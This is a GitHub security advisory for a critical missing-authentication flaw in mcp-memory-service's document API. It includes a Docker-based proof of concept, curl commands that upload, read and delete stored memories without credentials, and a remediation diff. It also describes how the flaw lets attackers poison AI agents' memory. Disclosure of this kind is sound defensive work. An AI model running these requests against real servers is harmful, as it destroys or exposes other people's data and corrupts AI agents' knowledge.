GitHub Advisoryadvisory · PyPI
GHSA-84hp-mqvj-3p8h mcp-memory-service: Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete
CRITICAL
Official page ↗
- Aliases
- CVE-2026-50027
- Ecosystem
- PyPI
- Packages
- mcp-memory-service
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-306
- Reviewed
- 2026-07-02
Affected packages
• PyPI mcp-memory-service: < 10.67.1 → fixed in 10.67.1
Description
Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete
Summary
All HTTP routes under `/api/documents/*` in `mcp-memory-service` are served without any authentication dependency, even when the server is configured with an API key (`MCP_API_KEY`) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) — all without supplying any credentials. The `/api/memories` counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical.
Details
The `documents.py` router is instantiated without any router-level `dependencies=` parameter and the file does not import `Depends` at all, so no authentication guard is present on any of its routes:
• `src/mcp_memory_service/web/api/documents.py:33` — `from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks` (`Depends` is absent)
• `src/mcp_memory_service/web/api/documents.py:43` — `router = APIRouter()` (no `dependencies=` argument)
The affected endpoints and their data-flow sinks are:
| Route | Line (source) | Sink | Line (sink) |
|---|---|---|---|
| `POST /upload` | 149 | `storage.store(memory)` | 449 |
| `POST /batch-upload` | — | `storage.store(memory)` | — |
| `GET /history` | — | upload metadata response | — |
| `GET /search-content/{upload_id}` | 729 | memory content response | 781 |
| `DELETE /remove/{upload_id}` | — | storage deletion | — |
| `DELETE /remove-by-tags` | 687 | `storage.delete_by_tags(tags)` | 705 |
The router is mounted in `src/mcp_memory_service/web/app.py:311`:
```python
app.include_router(documents_router, prefix="/api/documents")
```
No `CORSMiddleware` or authentication middleware applies to these routes at mount time.
By contrast, the equivalent write endpoint in `memories.py` is correctly protected:
```python
src/mcp_memory_service/web/api/memories.py:136
user: AuthenticationResult = Depends(require_write_access)
```
This demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all `documents.py` routes.
PoC
Prerequisites
• Docker installed
• Repository cloned at `repo`
Build and run the container
```bash
docker build -t vuln-001-mcp-memory-poc \
-f vuln-001/Dockerfile \
repo
docker run -d --name vuln-001-poc-container \
-p 18000:8000 vuln-001-mcp-memory-poc:latest
```
The container starts `mcp-memory-service` with `MCP_API_KEY=poc-secret-key-12345`, simulating a production deployment where the operator has enabled API-key authentication.
Execute the PoC
```bash
python3 vuln-001/poc.py \
--host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345
```
Attack chain (6 steps)
```
[STEP 1] GET /api/memories (no auth) → HTTP 401 ← auth guard is active on memories API
[STEP 2] POST /api/memories (with API key) → HTTP 200 ← legitimate user stores sensitive data
[STEP 3] GET /api/memories (with API key) → HTTP 200 memories_found=1 ← data confirmed
[STEP 4] POST /api/documents/upload (NO auth) → HTTP 200 upload_id= ← WRITE bypass
[STEP 5] DELETE /api/documents/remove-by-tags (NO auth) → HTTP 200 memories_deleted=1 ← DELETE bypass
[STEP 6] GET /api/memories (with API key) → HTTP 200 memories_remaining=0 ← integrity impact confirmed
```
Step 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request.
Manual curl equivalent
```bash
Confirm auth guard is active on /api/memories
curl -i http://127.0.0.1:18000/api/memories
→ 401 Unauthorized
Write through document API — no credentials
printf 'CVE_AUTH_BYPASS_MARKER' > /tmp/poc.txt
UPLOAD_ID=$(
curl -s -X POST http://127.0.0.1:18000/api/documents/upload \
-F "file=@/tmp/poc.txt" -F "tags=cve-poc" |
python3 -c 'import sys,json; print(json.load(sys.stdin)["upload_id"])'
)
→ 200 OK
sleep 3
curl -s "http://127.0.0.1:18000/api/documents/search-content/$UPLOAD_ID"
→ content returned without authentication
Delete by tag — no credentials
curl -i -X DELETE "http://127.0.0.1:18000/api/documents/remove-by-tags" \
-H "Content-Type: application/json" -d '["cve-poc"]'
→ 200 OK, memories_deleted=1
```
Observed output
• `GET /api/memories` (no auth) returns `401` — the authentication guard is demonstrably active on the memories API.
• `POST /api/documents/upload` (no auth) returns `200` with a valid `upload_id`.
• `DELETE /api/documents/remove-by-tags` (no auth) returns `200` with `memories_deleted=1`.
• A subsequent authenticated `GET /api/memories` returns `memories_remaining=0`, confirming that legitimately stored data was destroyed by an unauthenticated request.
Remediation
Add `Depends(require_write_access)` / `Depends(require_read_access)` to every affected route in `documents.py`:
```diff
--- a/src/mcp_memory_service/web/api/documents.py
+++ b/src/mcp_memory_service/web/api/documents.py
-from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks
+from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks, Depends
from ..dependencies import get_storage
+from ..oauth.middleware import require_read_access, require_write_access, AuthenticationResult
async def upload_document(
background_tasks: BackgroundTasks,
file: UploadFile = File(...),
+ user: AuthenticationResult = Depends(require_write_access),
async def batch_upload_documents(
background_tasks: BackgroundTasks,
files: List[UploadFile] = File(...),
+ user: AuthenticationResult = Depends(require_write_access),
-async def get_upload_status(upload_id: str):
+async def get_upload_status(upload_id: str, user: AuthenticationResult = Depends(require_read_access)):
-async def get_upload_history():
+async def get_upload_history(user: AuthenticationResult = Depends(require_read_access)):
-async def remove_document(upload_id: str, remove_from_memory: bool = True):
+async def remove_document(upload_id: str, remove_from_memory: bool = True,
+ user: AuthenticationResult = Depends(require_write_access)):
-async def remove_documents_by_tags(tags: List[str]):
+async def remove_documents_by_tags(tags: List[str],
+ user: AuthenticationResult = Depends(require_write_access)):
-async def search_document_content(upload_id: str, limit: int = 1000):
+async def search_document_content(upload_id: str, limit: int = 1000,
+ user: AuthenticationResult = Depends(require_read_access)):
```
Impact
This is a Missing Authentication for Critical Function (CWE-306) vulnerability affecting the HTTP REST server component of `mcp-memory-service`.
Who is impacted: Any operator who deploys the HTTP REST server (`memory server --http`) with `MCP_API_KEY` or OAuth enabled, expecting that only authenticated clients can access stored memories. The HTTP server is documented as a supported production feature for team/multi-client deployments.
Confidentiality: An unauthenticated attacker can read recently uploaded document content via `GET /api/documents/search-content/{upload_id}` and enumerate upload history via `GET /api/documents/history`. Stored memories may contain sensitive context such as personal notes, AI agent working state, or proprietary data.
Integrity: An unauthenticated attacker can inject arbitrary content into the memory store by uploading documents, polluting the AI agent's knowledge base with attacker-controlled data (memory poisoning / prompt injection surface).
Availability: An unauthenticated attacker can delete all memories matching any chosen tags via `DELETE /api/documents/remove-by-tags`, or delete individual documents via `DELETE /api/documents/remove/{upload_id}`, causing permanent loss of stored data.
Reproduction artifacts
`Dockerfile`
```dockerfile
FROM p…
Related
Alias · CVE (1)
- CVE-2026-50027 mcp-memory-service is a semantic memory layer for AI applications. vulnerability
Weakness · CWE (1)
- CWE-306 Missing Authentication for Critical Functionality weakness